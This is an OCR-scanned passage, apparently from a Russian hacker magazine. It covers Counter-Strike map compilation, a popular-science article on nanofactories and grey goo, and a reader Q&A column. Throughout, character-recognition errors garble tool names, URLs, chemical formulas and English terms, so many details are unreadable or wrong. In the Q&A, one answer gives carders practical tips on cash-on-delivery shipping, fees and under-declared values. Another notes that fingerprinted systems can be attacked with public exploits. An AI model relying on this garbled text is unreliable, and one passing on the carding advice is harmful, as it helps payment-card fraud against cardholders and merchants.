роль в формировании готовой карты (всего их четыре). Лучшими 
компиляторами считаются упомянутые выше утилиты Зонера: 

01 НЮЗѲ.ЕХЕ — просчитывает общую геометрию карты и создает 
четыре ОиН-файла для их обработки компилятором НЕВЗР. 

0] НЕВЗР. ЕХЕ — создает дерево карты и работоспособный Ьзр-файл. 
& НЕѴІЗ.ЕХЕ — создает визуальную часть и оптимизирует карту для 
более быстрой прорисовки в игре. 

[4] НЕРАй.ЕХЕ — просчитывает освещение на карте. 

У этих утилит, увы, есть серьезный недостаток, отпугивающий на- 
чинающих картостроителей, — полное отсутствие графического 
интерфейса. Все данные пересылаются компиляторам посред- 
ством команд. Правда уже выпущено немало графических обо- 
лочек, позволяющих в более привычной форме подготовить карту 
к испытанию. Среди них 2НЕТ Сотрііе СЕІІ и ВаЕсГі Сотрііег. 
Перед компиляцией карты необходимо проверить установочные па- 
раметры, так как они очень сильно влияют на скорость. Например, 
можно откомпилировать карту очень быстро, но при этом пострада- 
ет как качество освещения, так и оптимизация под более высокий па- 
раметр ЕРЗ (Ргатез РегЗесопсІ). Такой вариант компиляции использу- 
ется для тестирования карты, когда внешний вид не так важен. Мож- 
но выставить параметры, с которыми карта получится максимально 
качественной, но за это придется расплачиваться временем компи- 
ляции. Такой вариант используется для окончательной версии карты, 
когда она наилучшим образом освещена и оптимизирована. 
Параметров компиляции существует довольно много (несколько 
десятков), но используются далеко не все из них. Говоря о компиля- 
ции, нельзя не упомянуть о ее низкой скорости и ресурсоемкости. 
Для многих становится настоящим сюрпризом, когда простая с ви- 
ду карта компилится чуть меньше шести часов. Многое в этом про- 
цессе зависит от оперативной памяти компьютера, частоты про- 
цессора и, конечно, от архитектуры самой карты. При неграмотном 
подходе (карта построена неумело и не была оптимизирована) 
компиляция может растянуться на несколько часов или даже дней. 
Например, на сборку крупных карт, использующих большое ко- 
личество точек освещения и открытых пространств, уходит не 
меньше четырех часов. Если она длится дольше, значит, со струк- 
турой карты не все в порядке или просто не хватает ресурсов. 
Известен случай, когда на РепЕіит III компиляция растянулась на 
36 часов. Основной причиной тормозов является небольшое ко- 
личество оперативной памяти. Компиляция застопорилась на 
операции, просчитывающей освещение. Когда вся оперативная 
память была исчерпана, стал активно использоваться файл под- 
качки, что привело к существенному увеличению времени компи- 
ляции. Так что если ты ощущаешь нехватку оперативки, спеши в 
срочном порядке увеличить файл подкачки или же закупиться мо- 
дулями ОЗУ. Учитывай, что если ни того, ни другого не сделать, то 
компиляция будет прервана. Файл подкачки рекомендую устано- 
вить размером в 500-800 метров. 

[декомпиляция] Декомпиляция — процесс, обратный компиляции, 
то есть это преобразование карты из формата Ьзр в формат тар. 
Причины для декомпиляции могут быть разными, обычно это делает- 
ся для ознакомления с устройством карты или при подготовке ее 



ремейка. Декомпи- 
ляция будет очень 
полезна начинаю- 
щему маперу, так 
как разобранная 
карта дает нагляд- 
ное представление 
о процессе работы 
над уровнем. Но 
есть и такие люди, 
которые после ша- 
манства с тем же 
сІе_аг1ес дают карте 
собственное имя и всерьез считают себя ее автором. Ни к чему хо- 
рошему это, поверь, не приведет. А если этот человек предложит 
такую карту в игровом клубе, то будет оттуда с позором изгнан (про- 
верено). Настоящим мапером такому индивиду никогда не стать. 
Наиболее удачными и распространенными утилитами для разборки 
карт считаются \Л/іпВ5РС и В5Р2МАР. Однако со своей работой они 
справляются одинаково плохо. Качество декомпиляции очень низкое, 
нередки случаи дыр в картах, потерь и смещения текстур. Некоторые 
карты декомпиляции не подлежат. Связано это с тем, что карте при 
компиляции отводится 4096 Кб памяти. Если карта использует много 
текстур и моделей, то этой памяти не хватит. Для решения проблемы 
увеличивают выделяемый объем памяти при помощи параметра Гех- 
баіа. Декомпиляторы же ожидают предел в 4096 Кб и выводят ошибку, 
когда карта использует объем больший, чем 4 Мб. Если маленькую 
карту скомпилировать с параметром -ГехбаГа 9999, то она будет де- 
компилируема. Известные нам декомпиляторы были созданы давно, 
когда карты не превышали предел памяти в 4 Мб, поэтому параметр 
увеличения памяти в них не предусмотрен. Среди особенных можно 
назвать сІе_Іогп, сІе_зигѵіѵог и некоторые другие мапы. 

[тестирование] Когда какой-нибудь игровой монстр готовится 
представить на суд общественности очередное творение, то в 
обязательном порядке проводит бета-тестирование. Проще го- 
воря, набирает группу геймеров для опробования игры. Разра- 
ботчики наблюдают, как те ведут себя в различных ситуациях, как 
быстро осваиваются, какую стратегию выбирают. И непременно 
интересуются их мнением. Если в процессе выявились какие-ли- 
бо ошибки и недоработки, то они сразу же исправляются, а от- 
дельные эпизоды по желанию первопроходцев переделывают- 
ся. Точно так же должен поступать и ты. Помни: первое впечатле- 
ние — это самое главное. Если пользователям твоя карта не пон- 
равится, то повторно, даже после переработки, они в нее играть 
не станут. Собери команду друзей (человек пять-шесть) и устрой 
своему шедевру тест-драйв. И если им карта понравится... нет, 
не выкладывай ее в Сеть. Перед этим проведи тест среди, ска- 
жем, избранных посетителей форума, посвященного СЗ. Если и 
они оставят хорошие отзывы — смело выкладывай карту, предла- 
гай игровым клубам, раздавай друзьям и одногруппникам :). 

[заключение] Не стоит рассматривать данный материал как руково- 
дство по картостроительству. Автор стремился рассказать лишь об 
основных моментах, не затрагивая технических подробностей. В Се- 
ти полно отличных руководств по теме, ссылки на которые лежат в 
привычном для тебя месте. Это я к тому, что не надо останавливаться 
на достигнутом, иди по линкам, и кто знает, может, через пару меся- 
цев твоя карта станет настоящим хитом наряду с сІе_сІизГ и сІе_агГес, 
а ты будешь номером один в своем игровом клубе ;) @ 
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[ОСНОВНЫЕ ТЕРМИНЫ] 

Объект — отдельная составляющая карты. Делится на 
браши (ЬгизЬ) и энтити (епШу). 

Браши — из них, собственно, и состоит карта. Стены, 
пол — все это браши. 

Энтити — объекты, обладающие свойствами: открыва- 
ющаяся дверь, звуки (например мотор автомобиля). 
Текстуры — картинки, которыми раскрашивается кар- 
та. Текстуры наносятся на землю, стены, ящики, маши- 
ны и все остальные объекты карты. 

Декали — текстуры, которые можно наложить на дру- 
гие текстуры. Например следы от взрывов гранат, дыр- 
ки от пуль на стенах. 

Полигон — место, на которое накладывается текстура. 




Ыоспа: |В5)І 777*777-^ 
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ЮНИТЫ КРЕАТИФФ КОДИНГ ІІМХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ 




Настольный 
рог изобилия 

ГОД НАЗАД ][ ПИСАЛ О ПЕЧАТНЫХ СТАНКАХ- 
ФАББЕРАХ, ИСПОЛЬЗУЮЩИХ СПЕЦИАЛЬНЫЕ 
ПОРОШКИ И ПОЛИМЕРЫ ДЛЯ ТРЕХМЕРНОЙ 
ПЕЧАТИ ПОВСЕДНЕВНЫХ ВЕЩЕЙ. СЕГОДНЯ 
МЫ ВСЕ ЕЩЕ ДАЛЕКИ ОТ СБОРКИ СЛОЖНЫХ 
ОБЪЕКТОВ (ВПЛОТЬ ДО ЧЕЛОВЕКА!) ПОАТОМ- 
НО, НО УЖЕ В ДЕТАЛЯХ ИЗВЕСТНО, КАК ЭТО 
БУДЕТ ПРОИСХОДИТЬ. РЕЧЬ ПОЙДЕТ О МОЛЕ- 
КУЛЯРНОМ ПРОИЗВОДСТВЕ И НАНОТЕХНО- 
ЛОГИЯХ I Юрий Свидиненко, аналитик сайта \ллллллпапопеѵу$пеі.ги 



Программируем 

материю 




Реалистичный мультик о 
работе нанофабрики с уче- 
том физики наномира: 



[что день грядущий нам готовит?] В недале- 
ком будущем вещи можно будет произво- 
дить так же легко, как мы сейчас распечаты- 
ваем постеры на принтерах. Предметы бу- 
дут храниться в электронном виде, их можно 
будет пересылать друг другу по интернету, 
не только продавать и покупать, но и созда- 
вать самому. Благодаря нанотехнологиям, 
производство любых вещей станет обычным 
программированием. Таким же приятным 
занятием, как рисование всяких штук в ЗЭ 
Мах'е. Копирование предметов вообще бу- 
дет одной из повседневных услуг. Как сей- 
час распространены ксероксы, так в буду- 
щем будут популярны их хай-тек аналоги, 
делающие копии разных вещей. 

Заметь, так думают не только фантасты, но и 
выдающиеся ученые. Один из них — Крис 
Феникс, автор проекта универсального син- 
тезатора — нанофабрики, которая произво- 
дит из атомов ВСЕ ЧТО УГОДНО! 

Крис Феникс — сооснователь и директор 
исследований Центра надежных нанотех- 
нологий (СепГегГог І?езропзіЫе ЧапоГесГіпо- 
Іоду — СІ?Ы). Эта организация была созда- 
на для того, чтобы ускорить, обезопасить и 
облегчить развитие молекулярного произво- 
дства и нанотехнологий вообще. 

[совсем немного науки] Наверное, ты дума- 
ешь, что будущие сборщики молекул будут 
отрывать маленькими манипуляторами один 
атом от другого и потом собирать тебе из 



ШрУ/шш.(огезідІіІ.огд/апіта- 

Ііоп_сЫепде/лалоШо- 

гу_360х240соругідбІ_еог3.тоѵ. 




Сайт Центра надежных на- 
нотехнологий (СЯМ): 
шшш. стало. огд. 



Полное техническое опи- 
сание нанофабрики от 
Криса Феникса: 

М1р://шшм. стало. огд/І\Іапо 
них, ну скажем, кроссовки. Это не Шогу.рсИ. 

совсем так. Из квантовой химии и 

химии связей, которые занимаются проблемами взаимодействия 
атомов в молекулах, давно известно, что захват одного атома и его 
транспортировка даже сверхмалыми роботами затруднительны. По- 
этому многие ученые и выступают с критикой молекулярного произ- 
водства и нанотехнологий вообще. 

Но безвыходных ситуаций не бывает. Ведь манипулирование отдель- 
ными атомами, в принципе, не нарушает никаких физических законов. 
В Природе, например, это происходит миллиарды миллионов раз. 
Раз невозможно манипулировать непосредственно одиночными 
атомами, то почему бы не сделать так, чтобы атомы сами отрыва- 
лись от молекул сырья и соединялись с нужными структурами? 
Грубо говоря, это будет химической реакцией. Вспомним школу: 
если мы берем кислоту Н28О4 и выливаем ее на поверхность ме- 
ди Си, то получаем: 2Н2ЗО4 + Си = Си$04 + 502 + 2Н2О. Только по- 
думай, с помощью обычной химии мы взяли атом меди и присое- 
динили к группе ЗО4. Чем не молекулярное производство? 

Беда в том, что химическими реакциями на молекулярном уровне 
трудно управлять с атомарной точностью. Для сборки из атомов 
компьютеров и другой полезной ерунды нужен манипулятор, кото- 
рый возьмет молекулу-сырье и будет приближать ее к собираемой 
нами структуре до тех пор, пока нужный атом на нее не перепрыгнет. 
А вот это уже называется механосинтезом — механическим прибли- 
жением одного атома к другому до тех пор, пока не начнут действо- 




Церковь 

«Серой Слизи»: шшш.дгеу- 
доо.огд. 





Сайт Эрика Дрекслера, где 
можно найти много интерес- 
ного о нанотехнологиях и мо- 
лекулярных машинах: шшш.е- 
Ргехіег.сот. 



вать химические связи. 

Только после экспериментов с 
атомно-силовым микроскопом 
в 1999 году стало ясно, что ме- 
ханосинтез, в принципе, возмо- 
жен. Тогда ученые задумались 
о том, можно ли аналогичным образом создать самую распрост- 
раненную, самую простую и одновременно самую интересную 
структуру из атомов — алмаз. На самом деле, ученые — народ не 
особо жадный и алчный. Алмаз их привлекает потому, что это од- 
но из самых твердых и инертных соединений. На его основе хотят 
сделать весь будущий наномир: от домов из цельного алмаза до 
медицинских нанороботов, ловящих вирусы. 

Монстры нанотеха Роберт Фрайтас, Крис Феникс и Ральф Меркле 
представили модель производства алмазоидного листа — ров- 
ной-преровной алмазной поверхности. Для этого они разработа- 
ли молекулу, которая будет инструментом, отделяющим одни ато- 
мы от других и располагающим их на поверхности. Все расчеты 
ученые проделали в новейшем симуляторе наномира Ыапо-Ніѵе, 
который учитывает квантовую механику и другие особенности фи- 
зики наномира. И получили довольно интересные результаты. 
Во-первых, это возможно. Во-вторых, производство алмазоида та- 
ким методом будет довольно быстрым. В-третьих, наноманипуля- 
тор, удерживающий молекулы-инструменты механосинтеза, дол- 
жен характеризоваться высоким количеством степеней свободы 
и фантастическим быстродействием. 

А вот здесь поподробнее. Последнего условия уже не достичь с 
помощью обычного микроскопа. Представь, сколько потребова- 
лось бы времени, чтобы собрать себе кроссовки по одному ато- 
му? То же подумали и ученые. А тот ученый, который представил, 
как он таким египетским трудом собирает себе новый Реггагі, 
предложил: а давайте сделаем очень много таких манипулято- 
ров! И пусть они работают все вместе, как на большом заводе. 
Ученым этим был Крис Феникс. Так появилась идея нанофабрики. 




[нанофабрика: как это будет] Идея приглянулась всем: действи- 
тельно, зачем делать миллионы сложных нанороботов, собираю- 
щих кроссовки по атому, если можно получить тот же результат с 
меньшими затратами энергии и компьютерной мощности. 

Крис предложил следующую архитектуру нанофабрики. На уров- 
не 0 наноманипуляторы типа «рука робота» собирают по задан- 
ной программе ма-а-алены<ие наноблоки. Их берет «рука-кран» 
и перемещает на следующую стадию сборки. И уже там «руки 
роботов» собирают эти фрагменты во что-то большее. 
«Рука-кран» снова переносит блок побольше на следующий уро- 
вень сборки. И так далее — до тех пор, пока твой кроссовок не вы- 
лезет из приемного отверстия нанофабрики. 

Основа нанофабрики — так называемый фабрикатор. По сути, 
это и есть та самая «рука робота», связанная с центральным 
компьютером и линией доставки сырья. 

Крис считает, что одним из разумных инженерных решений в пост- 
ройке фабрикатора будет использование двойного трипода — 
такой конструкции, которая имеет шесть степеней свободы. Это- 
го должно хватить для манипулирования молекулами. 

Сама нанофабрика будет иметь блочную конструкцию, для того 
чтобы можно было легко сделать ее копию с помощью другой на- 
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[структура «двойного трипода» и модель наноманипулятора на его основе] 



[наноконвейер не знает усталости] 




[н анофабрика в представлении Джона Варна. Баллоны слева — 
сырьевые контейнеры, содержащие молекулы разных типов] 



нофабрики. Блочная система также будет удобна 
для производства различных компонентов наноэлект- 
роники, нанокомпьютеров и нанороботов. Каждый 
фабрикатор должен быть способен произвести наноблок раз- 
мерами 200x200x200 нанометров. Эта структура принимается 
Крисом как элементарный кирпичик нанофабрики. Подобный 
наноблок может содержать нанокомпьютер (механический или 
квантовый) или системы привода нанофабрики, генераторы, 
части конвейеров и наноманипуляторов крупноузловой сборки. 
Для изготовления этого наноблока фабрикатору понадобится 
всего несколько часов. Опять-таки, скорость производства не 
будет зависеть от того, насколько сложно описание объекта, а 
только от размера наноблока. 

Для присоединения наноблоков друг к другу Крис разработал 
оригинальное инженерное решение — по сторонам крупных на- 
ноблоков будут расположены специальные коннекторы типа "ма- 



[КАК ЭТО БЫЛО У ФАНТАСТОВ] 

«На планете действительно очень тесно, но бжуты, 
очень разумные существа, обладающие большими поз- 
наниями, особенно в физике, прекрасно справляются с 
этой трудностью, хотя способ, ими применяемый, весь- 
ма необычен. А именно: в соответствующем учрежде- 
нии при помощи прецизионного рентгеновского аппара- 
та делают так называемую «атомную персонограмму» 
каждого жителя, то есть подробный план, где указаны 
все до единой материальные частицы, белковые моле- 
кулы, а также химические соединения, из которых сос- 
тоит его тело. Когда наступает время отдыха, бжут 
втискивается через маленькую дверку в специальный 
аппарат, распыляющий его тело на мелкие атомы. В та- 
ком виде, занимающем очень мало места, он проводит 
всю ночь, а утром в назначенный час будильник вклю- 
чает аппарат, который, сверяясь с атомограммой, снова 
соединяет все частицы в нужной последовательности, 
дверка открывается, и бжут, возвратившись таким об- 
разом к жизни, зевает разок-другой и идет на работу...» 
Станислав Лем. Звездные дневники Ийона Тихого. Пу- 
тешествие двадцать третье. 




[нанофабрика изнутри. Экспоненциальная сборка наноблоков в макроблоки] 



ма-папа". Они будут обеспечивать связь всех наноблоков в гло- 
бальную сеть нанофабрики, служить транспортными путями для 
сырья и охлаждающих веществ. 

Нанофабрику нужно будет охлаждать очень и очень серьезно — 
жидким азотом, поскольку рассеиваемая ею мощность состав- 
ляет около 200 киловатт. То есть, если ты в будущем купишь нано- 
фабрику и сделаешь на ней за час кроссовки, то заплатишь за 
электричество порядка 300 «деревянных». Конечно, добавится 
еще некоторая сумма за использованное молекулярное сырье, 
из которого будет производиться сборка. Но, как утверждает 
Крис, благодаря тому, что его можно будет производить с по- 
мощью тех же нанофабрик, цена сырья будет невелика. 

Если учесть, что это не простые кроссовки, а с кучей наворотов, 
которые ты недавно скачал из сети, да еще с твоими собственны- 
ми фишками, то это и не дорого вовсе. Теперь представь себе, 
что супермегакомпьютер, равный по весу этим кроссовкам, бу- 
дет стоить те же 300 рублей! Ведь нанофабрике все равно, что со- 
бирать: гвозди, нанороботов или лягушек. 

Почему же нанофабрика так много потребляет? Да, 200 киловатт 
— это очень много для домашнего использования. Обычный 
электрочайник, из-за которого иногда выбивает пробки, тянет 2 
киловатта. А тут мощность, эквивалентная ста чайникам. Все дело 
в том, что, уменьшая механизмы до молекулярных размеров, мы 
увеличиваем плотность механоэлектрической энергии на куби- 
ческий метр или сантиметр. Вот и выходит, что несколько триллио- 
нов фабрикаторов довольно прожорливы. 

Подведем итог. Алмазная фабрика 0,5х0,5х0,5 метра сможет вы- 
пускать продукт размерами 10,5x10,5x10,5 сантиметров и весом 
(при условии, что продукт также изготовлен из алмазоида) 4 килог- 
рамма. Производственный процесс займет около трех часов. 
При этом продукт будет иметь упорядоченную структуру вплоть до 
атома. Репликация подобной фабрики займет около двух дней. 
Стоимость продукта будет зависеть только от стоимости сырья и 
энергии, затраченной на производство. Мощность фабрики сос- 
тавит около 200 кВт. Полностью автоматизированная фабрика бу- 
дет соединяться с персональным компьютером, образуя произ- 
водственный комплекс. Человек-оператор сможет создавать раз- 
личную конструкцию продукта в специальной САЭ-программе, 
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ИМПЛАНТ 040 ] 



[ДВА МЕСЯЦА, КОТОРЫЕ ПЕРЕВЕРНУТ МИР] 

Эти цифры наглядно иллюстрируют работу нанофаб- 
рики по самовоспроизведению. Из них видно, что на 
62 день репликации в каждой семье землян будет по 
нанофабрике. Плохо это или хорошо — пока неизвест- 
но. Ясно одно — технология разработана таким обра- 
зом, чтобы производить максимальное количество 


продукции за короткий срок. 




День Нанофабрик 


31 — 32 768 


1 — 1 


33 — 65 536 


3 — 2 


35— 131 072 


5 — 4 


37 — 262 144 


7 — 8 


39 — 524 288 


9 — 16 


41 — 1 048 576 


11—32 


43 — 2 097 152 


13 — 64 


45 — 4 194 304 


15 — 128 


47 — 8 388 608 


17 — 256 


49— 16 777 216 


19 — 512 


51 — 33 554 432 


21 — 1 024 


53 — 67 108 864 


23 — 2 048 


55 — 134 217 728 


25 — 4 096 


57 — 268 435 456 


27 — 8 192 


59 — 536 870 912 


29 — 16 384 


61 — 1 073 741 824 



подобно тому, как сегодня создают чертежи деталей машин. На- 
нофабрика по электронным чертежам повторит конструкцию 
оператора с точностью до атома. 

Конечно, до создания такого сложного агрегата, как нанофаб- 
рика, еще много лет работы. Недавно Криса спросили, когда 
же будет создана первая нанофабрика и сколько для этого нуж- 
но потратить денег? Вот что он ответил: «Разработка такого 
сложного наноустройства, как нанофабрика, займет не пять лет, 
а больше. С финансовой стороны потребуются миллиарды дол- 
ларов для успешного завершения исследовательских работ. По 
сложности и финансовому вкладу с нанофабрикой может срав- 
ниться разве что Манхэттенский проект. Без сомнения, оцени- 
вать стратегии ведения исследований в этой области необходи- 
мо, так как нанофабрика принесет человечеству не только но- 
вые возможности и выгоды, но и различные опасности, связан- 
ные с использованием ее в антигуманных целях». 

[материя со взломом] О чем беспокоится Крис Феникс? 

Не секрет, что появление нанофабрики на мировом рынке прив- 
лечет террористов всех мастей. Если делать исходный код нано- 
фабрики открытым, то надо ждать появления «серой слизи» в ка- 
честве террористического акта. 

Один из способов блокирования нанофабрики в случае произво- 



дства заведомо опасных продуктов состоит в том, что ее програ- 
ммное обеспечение будет содержать только уже проверенные 
безопасные схемы. Это можно представить следующим обра- 
зом: где-то имеется центральная библиотека всех файлов для на- 
нофабрик, тщательно контролируемая мировым сообществом. 
Нанофабрики будут связываться с ней, запрашивая продукт, ука- 
занный пользователем. Прием/передача информации будут 
криптографированы самыми совершенными методами. Пополне- 
ние библиотеки будет проводиться специалистами под надзо- 
ром консультативного совета мирового сообщества. Так можно 
максимально защитить нанопроизводство от использования его 
во вред человечеству. 

И еще. В любое устройство (макро-, микро- и нано-) можно встро- 
ить защитный регулятор, который в случае отказа уничтожит его. 
Уже сейчас во многие наноэлектронные устройства можно 
встроить защитные белковые регуляторы — прионы. Прионы — 
обычные белки, которые располагаются на поверхности нерв- 
ных клеток. В нормальном состоянии их молекулы скручены оп- 
ределенным образом. По какой-то причине молекула приона 
может внезапно изменить свою форму, раскрутиться и приоб- 
рести неправильную конфигурацию. Более того, они влияют на 
другие белки того же типа, «заражают» этой способностью. 
Структурные свойства прионов обеспечивают их высокую ста- 
бильность и способность к самовоспроизведению. Нейробио- 
логи недавно установили, что они способны самостоятельно со- 
единяться в сверхтонкие (около 100 нанометров в диаметре) и 
очень прочные нити. Когда прионы покрыли тонким слоем золота 
и попробовали пропустить ток по этому проводнику, оказалось, 
что он обладает гораздо меньшим сопротивлением, чем другие 
микропровода. Традиционными способами получать такие «про- 
волочки» просто невозможно. 

Использование прионных ограничителей в будущей наноэле- 
ктронике позволит управлять нанокомпьютерами и наноробо- 
тами, и в случае «отказа» искусственного интеллекта можно 
будет уничтожить все наноэлектронные цепи, задействовав 
прионные регуляторы. 

[последнее слово] Столь мощного орудия производства, как на- 
нофабрика, у человечества еще не было. С его появлением 
производственный процесс сведется к разработке самого 
продукта. Вероятно, в квартирах будущего вместо холодильни- 
ка будет стоять нанофабрика, специализированная под произ- 
водство продуктов питания и изысканных деликатесных блюд, а 
в мире будет ходить информационная валюта, с помощью кото- 
рой можно будет купить файлы с новыми продуктами, предме- 
тами и т.п. Не забудем и о спаме! Толпы рекламных агентов, вы- 
лезающих из нанофабрик, соединенных со всемирной товаро- 
обменной сетью, будут будить тебя каждое утро. Зато друзья 
всегда смогут переслать тебе из нового путешествия не только 
фотографии, но и вполне реальные сувениры... Одним словом, 
добро пожаловать в наноэру! © 



СЕРАЯ СЛИЗЬ В ГОЛУБОМ БУДУЩЕМ 




[первый проект репликатора-ассемблера Эрика 
Дрекслера (А — наноманипуляторы, В — контей- 
нер с сырьем, С и Е — нанокомпьютеры, Э — 
энергосистемы)] 



В книге-катастрофе о нанотехе «Молитва» 
Майкла Крайтона красочно описывается, как 
вышедшая из-под контроля свора наноробо- 
тов — автор их назвал червями-нанитами — 
превращает все вокруг — машины, людей, до- 
ма, землю — в самих себя. 

Однако идея нанотехнологического конца све- 
та была сформулирована еще Эриком Дрекс- 
лером в 1986 году. Он назвал неконтролируе- 
мое размножение репликаторов «серой 
слизью» (дгеу доо). Раз предложенный Дреке - 
лером наноассемблер мог собирать Все На 
Свете из атомов, то почему бы ему не сделать 
свою копию? Ведь это облегчит сборку макро- 
объектов. Если программа производства его 
бортового компа зациклится, то в результате 
мы получим эту самую «серую слизь». 
Дрекслер предложил довольно простую 
конструкцию репликатора: он состоял бы из 
камеры сборки и двух механических «рук ро- 
бота». По специальным каналам внутри ма- 
нипуляторов предполагалось передавать 



сырье, из которого они собирали свои копии. 
Но даже не все ученые знают, насколько мало- 
вероятна такая катастрофа. 

На самом деле, такое «размножение» не будет 
работать в любых условиях. Необходимо 
сырье, энергия и другие не менее важные «ме- 
лочи». Даже великий нанотехнолог Природа не 
сделала универсального репликатора. Все су- 
ществующие в мире бактерии обитают и разм- 
ножаются только при определенных условиях. 
Чтобы создать репликатор, который послужит 
основой "серой слизи" всему человечеству 
придется здорово поднапрячься. Поэтому вы- 
ход нанороботов из-под контроля скорее прои- 
зойдет в голливудских фильмах, чем в реаль- 
ной жизни. 

Впрочем, Роберт Фрайтас (ученый-наномедик) 
из интереса уже посчитал, сколько понадобит- 
ся времени для того, чтобы наша планета пок- 
рылась «серой слизью». Оказалось, что даже 
при самом быстром наните «переваривание» 1 ' 
экосистемы Земли займет около двух лет. 
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0иеаЛлоп._1 : Что за новая тема АиІоУпк у Ѳоодіе? Безопасна ли она? 

Ѳаелйшѵ_ 2: Правда, что некоторые черви имеют ограниченный срок годности? 

Ѳ.шмАіап_3: Что такое и для чего нужен 03 (іпдегргіпііпд? 

Ѳи«лйо«._4: Существуют ли комфортабельные сканеры шаров под І_іпих? 

5: Могут ли кардеры посылать товары в Россию наложенным платежом? 

0і^сл4іоа. 6: Перешел на Мае, МасОЗ X — просто красота! Где же мне добыть 
разный зесигіГу-софт под него, файрвол в частности? 

0иел4іоа_7: Что за баг такой в винде ЭСОМ РРС? 

0.шмЛіоп_8: Нашел скрипт таіІдеп.рГір, который генерит случайные 
емайлы. Какой с него прок для хакера? 

0и«л4іоа_9: Каким софтом я мог бы синхронизировать мой наладонник 
с настольной РгееВЗЭ? 



Ѳ.шглІимі_) 0: Чем можно быстро крячить РАР-архивы? 

Ѳ.шмХіоп _1 1 : Как можно позакрывать открытые порты на моем компе? 
0ікйФкт_1 2: Как узнать, кто может получить доступ к моей винде из интернета? 




- 






БУДЬ КОНКРЕТНЫМ И ЗАДАВАЙ КОНКРЕТНЫЕ ВОП- 
РОСЫ! СТАРАЙСЯ ОФОРМИТЬ СВОЮ ПРОБЛЕМУ МАК- 
СИМАЛЬНО ДЕТАЛЬНО ПЕРЕД ПОСЫЛКОЙ В НАСК- 
РАО. ТОЛЬКО ТАК Я СМОГУ ДЕЙСТВИТЕЛЬНО ПО- 
МОЧЬ ТЕБЕ ОТВЕТОМ, УКАЗАТЬ НА ВОЗМОЖНЫЕ 
ОШИБКИ. ОСТЕРЕГАЙСЯ ОБЩИХ ВОПРОСОВ ВРОДЕ 
«КАК ВЗЛОМАТЬ ИНТЕРНЕТ?» — ТЫ ЛИШЬ ПОТРА- 
ТИШЬ МОЙ И СВОЙ ПОЧТОВЫЙ ТРАФИК. ТРЯСТИ из 
МЕНЯ ФРИШКИ (ИНЕТ, ШЕЛЛЫ, КАРТЫ) НЕ СТОИТ, Я 
САМ ЖИВУ НА ГУМАНИТАРНОЙ ПОМОЩИ! 

@цпа.»>лл_ 1 : АиГоЫпк — это новая фишка в Ѳоодіе Ваг, которую 
ты мог видеть у М3 с некогда модным начинанием ЗтагГ Тадз, 
АиГоЫпк модифицирует все просматриваемые страницы, так 
что помимо родных линков ты видишь еще и автоматически 
вставляемые Ѳоодіе'ом. Так, при обращении на сайт, посвя- 
щенный географии, возникает линк на страничку Ѳоодіе 
Марз; при поиске книг вставляется ссылка на Атагоп. Сама 
по себе технология абсолютно безопасна; вопрос остается 
лишь в этичности этой фишки. Насколько будет правильным, 
если посетители твоего книжного онлайн-шопа будут уходить 
на Атагоп? Многие \л/еЬ-гуру настаивают, чтобы Ѳоодіе 
прекратил разработку АиТоУпк, усматривая в нем наруше- 
ния прав владельцев отдельных сайтов. 

2: Вирусы, которые поражают млекопитающего (включая 
человека), также имеют свойство распространяться эпидемиоло- 
гическим путем. Сначала вирус поражает несколько систем, по- 
том великое множество, завершая свое шествие лишь единицами 
поверженных. Так и червь может распространяться в ограничен- 
ном временном промежутке. Однако, в отличие от живой вирусни, 
червь виртуальный может быть изначально создан с командой 
«Стоп», приписанной к определенной дате. Так, к примеру, случи- 
лось с червем ѴѴ32/ѴѴеІсГ)іа.А, который покончил с собой в начале 
2004. Вкоре после этого, как и во множестве других червивых слу- 
чаев, началась повторная эпидемия с новым лицом — ѴѴеІсТііа.В. 

®пА*>яг_3: Сдал, принял, отпечатки пальцев. РіпдегргіпТіпд как раз от- 
носится к последнему. По тому, как ведет себя система в различных 
ситуациях, взломщик может узнать ее наименование. Узнав опера- 
ционку удаленной системы, хакер может приступать к проведению 
атаки. Также отпечатки собираются и добросовестными админами, 
которым лишь надо знать, под чем работают подопечные юзеры ад- 
министрируемой сети. Кому-то админы могут провести необхо- 




димые апдейты, кому-то подогнать апгрейд железа для более ком- 
фортного существования под выбранной осью. Не упускают рас- 
сматриваемой мазы и маркетологи, проводящие исследования 
сетей на предмет наиболее используемых систем. Так, узнав, кто 
сейчас в фаворе, можно задавать вектор развития для кодерских 
подразделений ряда компаний. Часть подобных обследований 
выбрасывается в Сеть, так что ты можешь ознакомиться с ними на 
ѵѵ\ш/.пеѣіаі.ги и ѵѵѵѵш.геІсюП.сот. Учитывая, что ты прислал воп- 
рос не в «Мурзилку», а в «X», будет разумным сказать о тех самых 
атаках, которые могут быть проведены после выявления списка 
серверов, где крутится нужная операционка. Она, родимая, мо- 
жет быть наделена весомыми багами, инфа о которых оказалась 
публичной. Заюзав доступные эксплойты к выявленным системам, 
злоумышленник может произвести желанный захват. 

4: Сканер шаров можно состряпать самому буквально на 
коленке, нужны лишь исходники любого ЗАМВА-клиента. Идея 
проста, но может показаться муторной, тогда как Ѳоодіе готов по- 
делиться десятком уже готовых решений. Самым простым пока- 
жется пЬТзсап, который присутствует как в \л/іп, так и *піх-версии. 
Любителям всего наглядного придется по вкусу КЭЕ-релиз 5тЬ4к 
( 5тЬ4к.ЬегІІ05.сІѳ ). Данная софтина является не только сканером 
шаров, но и полноценным сетевым обозревателем, который отлич- 
но справляется как с виндозными, так и юниксовыми машинами. 
Лично мне понравилась опция расстановки закладок по наибо- 
лее часто запрашиваемым шарам. 5тЬ4к был частично переве- 
ден на русский, что будет актуально для полиглотов ;). Если требо- 
вательному глазу не приглянется его работа, полезным может ока- 
заться дЗтЬЗсаппег ( дзтЬзсаппег.зоигсеГогдѳ.пеІ) . 

(ОпмэтЛ: Подобная опция существует у большинства курьерских 
сервисов. В частности, это было неоднократно использовано у 
знаменитого ІІР5 ( ѵѵшѵѵ.изрз.сот/топеу/рауіогдеііѵегіез/шеі - 
соте. Мт). Типичное название темы Рау (ВДеІіѵегу. Наложенный 
платеж оказывается актуальным, когда нет стопроцентного дове- 
рия к отправителю посылки, а предоплата не представляется 
возможной. За недоверие приходится доплачивать, средняя 
ставка — 8% от заявленной стоимости посылки плюс 10-20 Евро. 
Вполне понятно, что при отправке товара кардером цена может 
быть ниже реальной, обыкновенно 40-60% реальной стоимости 
(значит, те 8% несут меньший денежный эквивалент). При отправ- 
ке и получении возможны сложности с выбранной валютой опла- 
ты: при отправке из некоторых стран можно заявить стоимость 
лишь в местной валюте. Это следует учитывать заранее, быть го- 
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товым потерять немножко лавэ при перерасчете, как водится, по 
